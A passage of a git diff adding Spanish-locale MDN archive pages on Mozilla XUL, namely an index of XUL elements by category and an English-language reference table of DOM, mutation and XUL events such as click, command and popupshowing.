+     <a class="internal" href="/es/XUL/toolbargrippy" title="es/XUL/toolbargrippy">toolbargrippy</a><br>
+     <a class="internal" href="/es/XUL/toolbaritem" title="es/XUL/toolbaritem">toolbaritem</a><br>
+     <a class="internal" href="/es/XUL/toolbarpalette" title="es/XUL/toolbarpalette">toolbarpalette</a><br>
+     <a class="internal" href="/es/XUL/toolbarseparator" title="es/XUL/toolbarseparator">toolbarseparator</a><br>
+     <a class="internal" href="/es/XUL/toolbarset" title="es/XUL/toolbarset">toolbarset</a><br>
+     <a class="internal" href="/es/XUL/toolbarspacer" title="es/XUL/toolbarspacer">toolbarspacer</a><br>
+     <a class="internal" href="/es/XUL/toolbarspring" title="es/XUL/toolbarspring">toolbarspring</a><br>
+     <a class="internal" href="/es/XUL/toolbox" title="es/XUL/toolbox">toolbox</a><br>
+     <a class="internal" href="/es/XUL/tooltip" title="es/XUL/tooltip">tooltip</a><br>
+     <a class="internal" href="/es/XUL/tree" title="es/XUL/tree">tree</a><br>
+     <a class="internal" href="/es/XUL/treecell" title="es/XUL/treecell">treecell</a><br>
+     <a class="internal" href="/es/XUL/treechildren" title="es/XUL/treechildren">treechildren</a><br>
+     <a class="internal" href="/es/XUL/treecol" title="es/XUL/treecol">treecol</a><br>
+     <a class="internal" href="/es/XUL/treecols" title="es/XUL/treecols">treecols</a><br>
+     <a class="internal" href="/es/XUL/treeitem" title="es/XUL/treeitem">treeitem</a><br>
+     <a class="internal" href="/es/XUL/treerow" title="es/XUL/treerow">treerow</a><br>
+     <a class="internal" href="/es/XUL/treeseparator" title="es/XUL/treeseparator">treeseparator</a><br>
+     <a class="internal" href="/es/XUL/triple" title="es/XUL/triple">triple</a><br>
+     <a class="internal" href="/es/XUL/vbox" title="es/XUL/vbox">vbox</a><br>
+     <a class="internal" href="/es/XUL/where" title="es/XUL/where">where</a><br>
+     <a class="internal" href="/es/XUL/window" title="es/XUL/window">window</a><br>
+     <a class="internal" href="/es/XUL/wizard" title="es/XUL/wizard">wizard</a><br>
+     <a class="internal" href="/es/XUL/wizardpage" title="es/XUL/wizardpage">wizardpage</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h1 id="Referencia_de_XUL">Referencia de XUL</h1>
+<p>« <a href="/es/docs/XUL" title="es/XUL">Referencia de XUL</a> «</p>
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th colspan="3">Elementos XUL por categoría</th>
+  </tr>
+  <tr>
+   <td>
+    <p><u><strong>VENTANAS</strong></u></p>
+    <p><a class="internal" href="/Es/XUL/Dialog" title="es/XUL/dialog">dialog</a><br>
+     <a class="internal" href="/es/XUL/overlay" title="es/XUL/overlay">overlay</a><br>
+     <a class="internal" href="/es/XUL/page" title="es/XUL/page">page</a><br>
+     <a class="internal" href="/es/XUL/window" title="es/XUL/window">window</a><br>
+     <a class="internal" href="/es/XUL/wizard" title="es/XUL/wizard">wizard</a><br>
+     <a class="internal" href="/es/XUL/wizardpage" title="es/XUL/wizardpage">wizardpage</a><br>
+     <a class="internal" href="/es/XUL/preference" title="es/XUL/preference">preference</a><br>
+     <a class="internal" href="/es/XUL/preferences" title="es/XUL/preferences">preferences</a><br>
+     <a class="internal" href="/es/XUL/prefpane" title="es/XUL/prefpane">prefpane</a><br>
+     <a class="internal" href="/es/XUL/prefwindow" title="es/XUL/prefwindow">prefwindow</a></p>
+    <p><u><strong>ESTRUCTURA<br>
+     DE VENTANAS</strong></u></p>
+    <p><a class="internal" href="/es/XUL/browser" title="es/XUL/browser">browser</a><br>
+     <a class="internal" href="/es/XUL/tabbrowser" title="es/XUL/tabbrowser">tabbrowser</a><br>
+     <a class="internal" href="/es/XUL/editor" title="es/XUL/editor">editor</a><br>
+     <a class="internal" href="/es/XUL/iframe" title="es/XUL/iframe">iframe</a><br>
+     <a class="internal" href="/es/XUL/titlebar" title="es/XUL/titlebar">titlebar</a><br>
+     <a class="internal" href="/es/XUL/resizer" title="es/XUL/resizer">resizer</a><br>
+     <a class="internal" href="/Es/XUL/Statusbar" title="es/XUL/statusbar">statusbar</a><br>
+     <a class="internal" href="/es/XUL/statusbarpanel" title="es/XUL/statusbarpanel">statusbarpanel</a><br>
+     <a class="internal" href="/es/XUL/dialogheader" title="es/XUL/dialogheader">dialogheader</a><br>
+     <a class="internal" href="/es/XUL/notification" title="es/XUL/notification">notification</a><br>
+     <a class="internal" href="/es/XUL/notificationbox" title="es/XUL/notificationbox">notificationbox</a></p>
+    <p><u><strong>MENUS Y VENTANAS<br>
+     EMERGENTES</strong></u></p>
+    <p><a class="internal" href="/es/XUL/menubar" title="es/XUL/menubar">menubar</a><br>
+     <a class="internal" href="/es/XUL/menu" title="es/XUL/menu">menu</a><br>
+     <a class="internal" href="/es/XUL/menuitem" title="es/XUL/menuitem">menuitem</a><br>
+     <a class="internal" href="/es/XUL/menuseparator" title="es/XUL/menuseparator">menuseparator</a><br>
+     <a class="internal" href="/es/XUL/menupopup" title="es/XUL/menupopup">menupopup</a><br>
+     <a class="internal" href="/es/XUL/panel" title="es/XUL/panel">panel</a><br>
+     <a class="internal" href="/es/XUL/tooltip" title="es/XUL/tooltip">tooltip</a><br>
+     <a class="internal" href="/es/XUL/popupset" title="es/XUL/popupset">popupset</a></p>
+    <p><u><strong>BARRAS DE<br>
+     HERRAMIENTAS</strong></u></p>
+    <p><a class="internal" href="/es/XUL/toolbar" title="es/XUL/toolbar">toolbar</a><br>
+     <a class="internal" href="/es/XUL/toolbarbutton" title="es/XUL/toolbarbutton">toolbarbutton</a><br>
+     <a class="internal" href="/es/XUL/toolbargrippy" title="es/XUL/toolbargrippy">toolbargrippy</a><br>
+     <a class="internal" href="/es/XUL/toolbaritem" title="es/XUL/toolbaritem">toolbaritem</a><br>
+     <a class="internal" href="/es/XUL/toolbarpalette" title="es/XUL/toolbarpalette">toolbarpalette</a><br>
+     <a class="internal" href="/es/XUL/toolbarseparator" title="es/XUL/toolbarseparator">toolbarseparator</a><br>
+     <a class="internal" href="/es/XUL/toolbarset" title="es/XUL/toolbarset">toolbarset</a><br>
+     <a class="internal" href="/es/XUL/toolbarspacer" title="es/XUL/toolbarspacer">toolbarspacer</a><br>
+     <a class="internal" href="/es/XUL/toolbarspring" title="es/XUL/toolbarspring">toolbarspring</a><br>
+     <a class="internal" href="/es/XUL/toolbox" title="es/XUL/toolbox">toolbox</a></p>
+    <p><u><strong>PESTAÑAS Y<br>
+     AGRUPAMIENTO</strong></u></p>
+    <p><a class="internal" href="/es/XUL/tabbox" title="es/XUL/tabbox">tabbox</a><br>
+     <a class="internal" href="/es/XUL/tabs" title="es/XUL/tabs">tabs</a><br>
+     <a class="internal" href="/es/XUL/tab" title="es/XUL/tab">tab</a><br>
+     <a class="internal" href="/es/XUL/tabpanels" title="es/XUL/tabpanels">tabpanels</a><br>
+     <a class="internal" href="/es/XUL/tabpanel" title="es/XUL/tabpanel">tabpanel</a><br>
+     <a class="internal" href="/es/XUL/groupbox" title="es/XUL/groupbox">groupbox</a><br>
+     <a class="internal" href="/es/XUL/caption" title="es/XUL/caption">caption</a><br>
+     <a class="internal" href="/es/XUL/separator" title="es/XUL/separator">separator</a><br>
+     <a class="internal" href="/es/XUL/spacer" title="es/XUL/spacer">spacer</a></p>
+   </td>
+   <td>
+    <p><u><strong>CONTROLES</strong></u></p>
+    <p><a class="internal" href="/es/XUL/button" title="es/XUL/button">button</a><br>
+     <a class="internal" href="/es/XUL/checkbox" title="es/XUL/checkbox">checkbox</a><br>
+     <a class="internal" href="/es/XUL/colorpicker" title="es/XUL/colorpicker">colorpicker</a><br>
+     <a class="internal" href="/es/XUL/datepicker" title="es/XUL/datepicker">datepicker</a><br>
+     <a class="internal" href="/es/XUL/menulist" title="es/XUL/menulist">menulist</a><br>
+     <a class="internal" href="/es/XUL/progressmeter" title="es/XUL/progressmeter">progressmeter</a><br>
+     <a class="internal" href="/es/XUL/radio" title="es/XUL/radio">radio</a><br>
+     <a class="internal" href="/es/XUL/radiogroup" title="es/XUL/radiogroup">radiogroup</a><br>
+     <a class="internal" href="/es/XUL/scale" title="es/XUL/scale">scale</a><br>
+     <a class="internal" href="/es/XUL/splitter" title="es/XUL/splitter">splitter</a><br>
+     <a class="internal" href="/es/XUL/textbox" title="es/XUL/textbox">textbox</a><br>
+     <a class="internal" href="/es/XUL/textbox_(Firefox_autocomplete)" title="es/XUL/textbox (Firefox autocomplete)">textbox (Firefox autocomplete)</a><br>
+     <a class="internal" href="/es/XUL/textbox_(Mozilla_autocomplete)" title="es/XUL/textbox (Mozilla autocomplete)">textbox (Mozilla autocomplete)</a><br>
+     <a class="internal" href="/es/XUL/timepicker" title="es/XUL/timepicker">timepicker</a></p>
+    <p><u><strong>TEXTO E<br>
+     IMAGENES</strong></u></p>
+    <p><a class="internal" href="/es/XUL/description" title="es/XUL/description">description</a><br>
+     <a class="internal" href="/es/XUL/label" title="es/XUL/label">label</a><br>
+     <a class="internal" href="/es/XUL/image" title="es/XUL/image">image</a></p>
+    <p><u><strong>LISTAS</strong></u></p>
+    <p><a class="internal" href="/es/XUL/listbox" title="es/XUL/listbox">listbox</a><br>
+     <a class="internal" href="/es/XUL/listitem" title="es/XUL/listitem">listitem</a><br>
+     <a class="internal" href="/es/XUL/listcell" title="es/XUL/listcell">listcell</a><br>
+     <a class="internal" href="/es/XUL/listcol" title="es/XUL/listcol">listcol</a><br>
+     <a class="internal" href="/es/XUL/listcols" title="es/XUL/listcols">listcols</a><br>
+     <a class="internal" href="/es/XUL/listhead" title="es/XUL/listhead">listhead</a><br>
+     <a class="internal" href="/es/XUL/listheader" title="es/XUL/listheader">listheader</a><br>
+     <a class="internal" href="/es/XUL/richlistbox" title="es/XUL/richlistbox">richlistbox</a><br>
+     <a class="internal" href="/es/XUL/richlistitem" title="es/XUL/richlistitem">richlistitem</a></p>
+    <p><u><strong>ARBOLES</strong></u></p>
+    <p><a class="internal" href="/es/XUL/tree" title="es/XUL/tree">tree</a><br>
+     <a class="internal" href="/es/XUL/treecell" title="es/XUL/treecell">treecell</a><br>
+     <a class="internal" href="/es/XUL/treechildren" title="es/XUL/treechildren">treechildren</a><br>
+     <a class="internal" href="/es/XUL/treecol" title="es/XUL/treecol">treecol</a><br>
+     <a class="internal" href="/es/XUL/treecols" title="es/XUL/treecols">treecols</a><br>
+     <a class="internal" href="/es/XUL/treeitem" title="es/XUL/treeitem">treeitem</a><br>
+     <a class="internal" href="/es/XUL/treerow" title="es/XUL/treerow">treerow</a><br>
+     <a class="internal" href="/es/XUL/treeseparator" title="es/XUL/treeseparator">treeseparator</a></p>
+    <p> </p>
+   </td>
+   <td>
+    <p><u><strong>DISPOSICION</strong></u></p>
+    <p><a class="internal" href="/es/XUL/box" title="es/XUL/box">box</a><br>
+     <a class="internal" href="/es/XUL/hbox" title="es/XUL/hbox">hbox</a><br>
+     <a class="internal" href="/es/XUL/vbox" title="es/XUL/vbox">vbox</a><br>
+     <a class="internal" href="/Es/XUL/Bbox" title="es/XUL/bbox">bbox</a><br>
+     <a class="internal" href="/es/XUL/deck" title="es/XUL/deck">deck</a><br>
+     <a class="internal" href="/es/XUL/stack" title="es/XUL/stack">stack</a><br>
+     <a class="internal" href="/es/XUL/grid" title="es/XUL/grid">grid</a><br>
+     <a class="internal" href="/es/XUL/columns" title="es/XUL/columns">columns</a><br>
+     <a class="internal" href="/es/XUL/column" title="es/XUL/column">column</a><br>
+     <a class="internal" href="/es/XUL/rows" title="es/XUL/rows">rows</a><br>
+     <a class="internal" href="/es/XUL/row" title="es/XUL/row">row</a><br>
+     <a class="internal" href="/es/XUL/scrollbox" title="es/XUL/scrollbox">scrollbox</a></p>
+    <p><u><strong>PLANTILLAS</strong></u></p>
+    <p><a class="internal" href="/es/XUL/action" title="es/XUL/action">action</a><br>
+     <a class="internal" href="/Es/XUL/Assign" title="es/XUL/assign">assign</a><br>
+     <a class="internal" href="/es/XUL/binding" title="es/XUL/binding">binding</a><br>
+     <a class="internal" href="/es/XUL/bindings" title="es/XUL/bindings">bindings</a><br>
+     <a class="internal" href="/es/XUL/conditions" title="es/XUL/conditions">conditions</a><br>
+     <a class="internal" href="/es/XUL/content" title="es/XUL/content">content</a><br>
+     <a class="internal" href="/es/XUL/member" title="es/XUL/member">member</a><br>
+     <a class="internal" href="/es/XUL/param" title="es/XUL/param">param</a><br>
+     <a class="internal" href="/es/XUL/query" title="es/XUL/query">query</a><br>
+     <a class="internal" href="/es/XUL/queryset" title="es/XUL/queryset">queryset</a><br>
+     <a class="internal" href="/es/XUL/rule" title="es/XUL/rule">rule</a><br>
+     <a class="internal" href="/es/XUL/template" title="es/XUL/template">template</a><br>
+     <a class="internal" href="/es/XUL/textnode" title="es/XUL/textnode">textnode</a><br>
+     <a class="internal" href="/es/XUL/triple" title="es/XUL/triple">triple</a><br>
+     <a class="internal" href="/es/XUL/where" title="es/XUL/where">where</a></p>
+    <p><u><strong>SCRIPTING</strong></u></p>
+    <p><a class="internal" href="/es/XUL/script" title="es/XUL/script">script</a><br>
+     <a class="internal" href="/es/XUL/commandset" title="es/XUL/commandset">commandset</a><br>
+     <a class="internal" href="/es/XUL/command" title="es/XUL/command">command</a><br>
+     <a class="internal" href="/es/XUL/broadcaster" title="es/XUL/broadcaster">broadcaster</a><br>
+     <a class="internal" href="/es/XUL/broadcasterset" title="es/XUL/broadcasterset">broadcasterset</a><br>
+     <a class="internal" href="/es/XUL/observes" title="es/XUL/observes">observes</a><br>
+     <a class="internal" href="/es/XUL/key" title="es/XUL/key">key</a><br>
+     <a class="internal" href="/es/XUL/keyset" title="es/XUL/keyset">keyset</a><br>
+     <a class="internal" href="/es/XUL/stringbundle" title="es/XUL/stringbundle">stringbundle</a><br>
+     <a class="internal" href="/es/XUL/stringbundleset" title="es/XUL/stringbundleset">stringbundleset</a></p>
+    <p><u><strong>ELEMENTOS<br>
+     DE AYUDA</strong></u></p>
+    <p><a class="internal" href="/es/XUL/scrollbar" title="es/XUL/scrollbar">arrowscrollbox</a><br>
+     <a href="/en/XUL/dropmarker" title="en/XUL/dropmarker">dropmarker</a><br>
+     <a class="internal" href="/es/XUL/grippy" title="es/XUL/grippy">grippy</a><br>
+     <a class="internal" href="/es/XUL/scrollbar" title="es/XUL/scrollbar">scrollbar</a><br>
+     <a class="internal" href="/es/XUL/scrollcorner" title="es/XUL/scrollcorner">scrollcorner</a><br>
+     <a class="internal" href="/es/XUL/spinbuttons" title="es/XUL/spinbuttons">spinbuttons</a></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<h3 id="Other_XUL_lists" name="Other_XUL_lists">Otras listas de XUL</h3>
+<ul>
+ <li><a class="internal" href="/Es/XUL/Attribute" title="es/XUL/Attribute">Todos los atributos</a></li>
+ <li><a class="internal" href="/Es/XUL/Property" title="es/XUL/Property">Todas las propiedades</a></li>
+ <li><a class="internal" href="/Es/XUL/Method" title="es/XUL/Method">Todos los métodos</a></li>
+ <li><a class="internal" href="/Es/XUL_element_attributes" title="es/XUL element attributes">Atributos definidos para todos los elementos de XUL</a></li>
+ <li><a class="internal" href="/Es/XUL/Style" title="es/XUL/Style">Clases de estilo</a></li>
+ <li><a class="internal" href="/Es/XUL/Events" title="es/XUL/Events">Gestión de eventos</a></li>
+ <li><a class="internal" href="/Es/XUL/Deprecated//Defunct_Markup" title="es/XUL/Deprecated//Defunct Markup">Obsoletos/Marcado extinto</a></li>
+</ul>
diff --git a/files/es/archive/mozilla/xul/events/index.html b/files/es/archive/mozilla/xul/events/index.html
new file mode 100644
index 0000000000..1911016926
--- /dev/null
+++ b/files/es/archive/mozilla/xul/events/index.html
@@ -0,0 +1,460 @@
+---
+title: Eventos
+slug: Archive/Mozilla/XUL/Events
+translation_of: Archive/Mozilla/XUL/Events
+---
+<p> </p>
+
+<p><a href="https://developer.mozilla.org/es/docs/XUL/Elementos" title="« Referencia de XUL">« Referencia de XUL</a></p>
+
+<p> </p>
+
+<p>The following tables describe the event handler that are valid for most XUL elements. The events listeners can be attached using <a href="/en/DOM/element.addEventListener" title="en/DOM/element.addEventListener"> addEventListener</a> and removed using <a href="/en/DOM/element.removeEventListener" title="en/DOM/element.removeEventListener"> removeEventListener</a>.</p>
+
+<p>Some of the events can be attached using attributes as well. When attaching event listeners using attributes, be aware that only one listener can be attached at a time. Any previously attached listeners are disconnected. The attribute name is the event name with an 'on' prefix.</p>
+
+<h3 id="Inherited_DOM_events" name="Inherited_DOM_events">Inherited DOM events</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Event</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>
+    <p>blur</p>
+   </td>
+   <td>
+    <p>The opposite of the focus event, the blur event is passed after an element loses the focus.<br>
+     <strong>attribute:</strong> onblur</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>change</p>
+   </td>
+   <td>
+    <p>This event is sent when the value of the textbox is changed. The event is not sent until the focus is moved to another element.<br>
+     <strong>attribute:</strong> onchange</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>click</p>
+   </td>
+   <td>
+    <p>This event is sent when a mouse button is pressed and released. You can determine which mouse button was clicked by retrieving the <code>button</code> property of the event object. This event is also sent when the user double-clicks with the mouse. The <code>detail</code> property specifies how many clicks occurred. You can also check for triple-clicks in a similar manner. You should not use this event in XUL to respond to user actions; the <code>command</code> event should be used instead.<br>
+     <strong>attribute:</strong> onclick</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dblclick</p>
+   </td>
+   <td>
+    <p>This event is like the click event except it is only sent when the user double clicks with the mouse. This is an alternative to checking the detail property in the click event.<br>
+     <strong>attribute:</strong> ondblclick</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMMouseScroll</p>
+   </td>
+   <td>
+    <p>This event is sent when the mouse wheel is moved, whether it results in content being scrolled or not.<br>
+     The target of this event is the element that was under the mouse pointer when the mouse wheel was scrolled, similar to the <code>click</code> event.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>focus</p>
+   </td>
+   <td>
+    <p>The focus event is sent to an element when it receives the focus. Once an element has the focus, keyboard events are sent to it. The focus can be changed by clicking on an element or by pressing TAB to switch to the next element is sequence.<br>
+     <strong>attribute:</strong> onfocus</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>keydown</p>
+   </td>
+   <td>
+    <p>The keydown event is sent to an element that has the focus and a key is pressed but not released.<br>
+     <strong>attribute:</strong> onkeydown</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>keypress</p>
+   </td>
+   <td>
+    <p>The keypress event is sent to an element that has the focus and a key is pressed and released. When the user presses a key, the keydown event is first sent, followed by the keypress event and then the keyup event. In a textbox, a user normally can hold down a key to repeat a character In this case, multiple sets of key events are sent as if the user rapidly pressed the same key repeatedly.<br>
+     <strong>attribute:</strong> onkeypress</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>keyup</p>
+   </td>
+   <td>
+    <p>The keyup event is sent to an element that has the focus and a key is released.<br>
+     <strong>attribute:</strong> onkeyup</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>load</p>
+   </td>
+   <td>
+    <p>This event is sent to the window after it has been fully loaded. You should place this event handler on the window element. This event may also be used on the image element, or an element that accepts an image attribute, and will be fired when the image has finished loading. For images, this event does not bubble up the element tree, so it will not conflict with the window's load event.<br>
+     <strong>attribute:</strong> onload</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>mousedown</p>
+   </td>
+   <td>
+    <p>This event is sent when the mouse is pressed on an element but not released.<br>
+     <strong>attribute:</strong> onmousedown</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>mousemove</p>
+   </td>
+   <td>
+    <p>This event is sent repeatedly as the mouse is moved over an element.<br>
+     <strong>attribute:</strong> onmousemove</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>mouseout</p>
+   </td>
+   <td>
+    <p>This mouseout event is sent to an element when the user moves the mouse outside the element. This event is the reverse of mouseover.<br>
+     <strong>attribute:</strong> onmouseout</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>mouseover</p>
+   </td>
+   <td>
+    <p>This event is sent to an element when the mouse first moves over an element. You can use this event to provide feedback to the user.<br>
+     <strong>attribute:</strong> onmouseover</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>mouseup</p>
+   </td>
+   <td>
+    <p>This event is sent when the mouse is released on an element.<br>
+     <strong>attribute:</strong> onmouseup</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>select</p>
+   </td>
+   <td>
+    <p>This event is sent to a listbox or tree when an item is selected.<br>
+     <strong>attribute:</strong> onselect</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>unload</p>
+   </td>
+   <td>
+    <p>This event is sent to a window when the window has closed. This is done after the close event. You should place this event handler on the window element.<br>
+     <strong>attribute:</strong> onunload</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Mutation_DOM_events" name="Mutation_DOM_events">Mutation DOM events</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Event</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMAttrModified</p>
+   </td>
+   <td>
+    <p>This event is sent to an element when one of its attributes is modified. In the event handler, you can retrieve the attribute that was modified using the event's attrName property, and you can retrieve the old and new values of the attribute using the event's prevValue and newValue properties.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMNodeInserted</p>
+   </td>
+   <td>
+    <p>This event is sent when a node is added as a child of a element. If you capture this event at the document level, you can be notified of document changes.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMNodeRemoved</p>
+   </td>
+   <td>
+    <p>This event is sent when a node is removed from an element. If you capture this event at the document level, you can be notified of document changes.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>It should be noted that the presence of any mutation event listeners in a document degrades the performance of subsequent DOM operations in that document. In simple tests that can mean that a DOM operation takes between 1.5 and 7 as long as it would without any mutation listener.</p>
+
+<h3 id="Common_XUL_events" name="Common_XUL_events">Common XUL events</h3>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Event</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>
+    <p>broadcast</p>
+   </td>
+   <td>
+    <p>The event handler should be placed on an observer. The broadcast event is sent when the attributes of the element (such as a broadcaster) being listened to are changed.<br>
+     <strong>attribute:</strong> onbroadcast</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>close</p>
+   </td>
+   <td>
+    <p>This event is sent when a request has been made to close the window when the user presses the close button. If you place an event handler on the window element, you can trap the window close. If you return false from the close handler, the window will not close. Return true to have it close normally. Note that this event is only fired when the user presses the close button on the titlebar; use the unload event to capture all attempts to unload the window.<br>
+     <strong>attribute:</strong> onclose</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>command</p>
+   </td>
+   <td>
+    <p>This event handler is called when an element is activated. How it is activated varies for each element and in many cases, there are several ways to activate an element. For example, a button can be activated by clicking on it with the mouse or by pressing ENTER while it has the focus. Menus can be activated by selecting them with the mouse or by pressing a shortcut key. You should always use the command event instead of click because it will be called in all of the needed cases.<br>
+     <strong>attribute:</strong> oncommand</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>commandupdate</p>
+   </td>
+   <td>
+    <p>This event occurs when a command update occurs on a &lt;commandset&gt; element. You would use this to update the disabled status of its commands.<br>
+     <strong>attribute:</strong> oncommandupdate</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>contextmenu</p>
+   </td>
+   <td>
+    <p>This event is sent to an element when the user requests to open the context menu for the element. The action to do this varies by platform, but it will typically be a right click. This handler is usually used to dynamically set the commands on a menu when the user requests to display it, or you can use popupshowing event. Returning false from this event handler prevents the popup from appearing.<br>
+     <strong>attribute:</strong> oncontextmenu</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>drag </p>
+   </td>
+   <td>
+    <p>The drag event is sent to the source node (the node that was dragged) several times a second while the drag is occurring.<br>
+     <strong>attribute:</strong> ondrag</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dragdrop</p>
+   </td>
+   <td>
+    <p>This event is sent when the user releases the mouse button to drop an object being dragged. The element, if it accepts the drop, should respond in some manner such inserting the dragged object into itself.<br>
+     <strong>attribute:</strong> ondragdrop</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dragend </p>
+   </td>
+   <td>
+    <p>The dragend event is sent to the source node (the node that was dragged) when the drag is finished.<br>
+     <strong>attribute:</strong> ondragend</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dragenter</p>
+   </td>
+   <td>
+    <p>The dragenter event is sent when the mouse pointer first moves over an element during a drag. It is similar to the mouseover event but occurs while dragging.<br>
+     <strong>attribute:</strong> ondragenter</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dragexit</p>
+   </td>
+   <td>
+    <p>This event is sent when the mouse pointer moves away from an element during a drag. It is also called after a drop on an element. It is similar to the mouseout event but occurs during a drag.<br>
+     <strong>attribute:</strong> ondragexit</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>draggesture</p>
+   </td>
+   <td>
+    <p>This event is sent when the user starts dragging the element, usually by holding down the mouse button and moving the mouse.<br>
+     <strong>attribute:</strong> ondraggesture</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>dragover</p>
+   </td>
+   <td>
+    <p>Related to the mousemove event, this event is sent while something is being dragged over an element. The handler should indicate whether the object being dragged can be dropped.<br>
+     <strong>attribute:</strong> ondragover</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>input</p>
+   </td>
+   <td>
+    <p>This event is sent when a user enters text in a textbox. This event is only called when the text displayed would change, thus it is not called when the user presses non-displayable keys.<br>
+     <strong>attribute:</strong> oninput</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>overflow</p>
+   </td>
+   <td>
+    <p>This event is only sent to a box or other layout element with a CSS overflow property set to a value other than 'visible'. When there is not enough space to display the contents of the element at full size, the overflow event will be fired. Depending on the value of the overflow property, scrollbars may have appeared. For example, if a box has a maximum size of 100 pixels, and only enough space for 80 pixels is available, the overflow event will be sent to the box. If the size changes, for example, by the user resizing the window, the underflow event will be fired when enough space becomes available.<br>
+     <strong>attribute:</strong> onoverflow</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>popuphidden</p>
+   </td>
+   <td>
+    <p>This event is sent to a popup after it has been hidden.<br>
+     <strong>attribute:</strong> onpopuphidden</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>popuphiding</p>
+   </td>
+   <td>
+    <p>This event is sent to a popup when it is about to be hidden.<br>
+     <strong>attribute:</strong> onpopuphiding</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>popupshowing</p>
+   </td>
+   <td>
+    <p>This event is sent to a popup just before it is popped open. This handler is usually used to dynamically set the contents when the user requests to display it. Returning false from this event handler prevents the popup from appearing.<br>
+     <strong>attribute:</strong> onpopupshowing</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>popupshown</p>
+   </td>
+   <td>
+    <p>This is event is sent to a popup after it has been opened, much like the onload event is sent to a window when it is opened.<br>
+     <strong>attribute:</strong> onpopupshown</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>syncfrompreference</p>
+   </td>
+   <td>
+    <p>This event is sent when the element is being changed because a preference changed, or when an element is initialized from a preference. This event will only be sent to elements connected to a preference and in a <a href="/en/XUL/prefwindow" title="en/XUL/prefwindow"> prefwindow</a>. This is not a real event instead it is just a function call and must use the attribute syntax. The script may return a value to set the element to a specific value rather than the value of the preference. This event is usually used to adjust the preference value so that it is more suitable for display in the user interface.<br>
+     <strong>attribute:</strong> onsyncfrompreference</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>synctopreference</p>
+   </td>
+   <td>
+    <p>This event is sent when the element connected to a preference has changed. This event will only be sent to elements connected to a preference and in a <a href="/en/XUL/prefwindow" title="en/XUL/prefwindow"> prefwindow</a>. This is not a real event instead it is just a function call and must use the attribute syntax. The script may return a value to set the preference to a specific value rather than the value of the element.<br>
+     <strong>attribute:</strong> onsynctopreference</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>underflow</p>
+   </td>
+   <td>
+    <p>This event is sent to an element when there becomes enough space to display it at full size. This applies to boxes and other layout elements with a CSS overflow property other than 'visible'. The underflow event can be used to indicate that a scrolling mechanism is no longer necessary.<br>
+     <strong>attribute:</strong> onunderflow</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMMenuItemActive</p>
+   </td>
+   <td>
+    <p>This event is sent when a menu or menuitem is hovered over, or highlighted. This event bubbles.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>
+    <p>DOMMenuItemInactive</p>
+   </td>
+   <td>
+    <p>This event is sent when a menu or menuitem is no longer being hovered over, or highlighted. This event bubbles.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Accessibility_events" name="Accessibility_events">Accessibility events</h3>
+
+<p>These events are used to notify the accessibility system of changes to an element. You would not normally use these yourself.</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <th>Event</th>
+   <th>Description</th>
+  </tr>
+  <tr>
+   <td>
+    <p>CheckboxStateChange</p>
+   </td>
+   <td>
